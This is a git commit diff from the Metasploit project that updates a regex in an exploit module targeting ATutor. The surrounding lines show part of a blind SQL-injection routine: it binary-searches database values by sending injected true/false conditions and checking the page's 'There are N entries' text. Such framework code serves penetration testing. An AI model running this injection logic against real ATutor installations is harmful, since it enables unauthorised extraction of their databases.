Update the regex for the number of students in ATutor

bug/bundler_fix
net-ninja 2016-03-01 09:41:17 -06:00 committed by wchen-r7
parent 5d64346a63
commit cda4c6b3b3
1 changed files with 4 additions and 4 deletions

View File

@ -243,7 +243,7 @@ class Metasploit3 < Msf::Exploit::Remote
mid = (lower + upper) / 2
sqli = "#{sql}>#{mid}"
result = perform_request(sqli, cookie)
if result =~ /There are \d entries./
if result =~ /There are \d{0,8} entries\./
lower = mid + 1
else
upper = mid
@ -254,7 +254,7 @@ class Metasploit3 < Msf::Exploit::Remote
else
sqli = "#{sql}=#{lower}"
result = perform_request(sqli, cookie)
if result =~ /There are \d entries./
if result =~ /There are \d{0,8} entries\./
value = lower
end
end
@ -265,12 +265,12 @@ class Metasploit3 < Msf::Exploit::Remote
if do_test
if do_true
result = perform_request("1=1", cookie)
if result =~ /There are \d entries./
if result =~ /There are \d{0,8} entries\./
return true
end
else not do_true
result = perform_request("1=2", cookie)
if not result =~ /There are \d entries./
if not result =~ /There are \d{0,8} entries\./
return true
end
end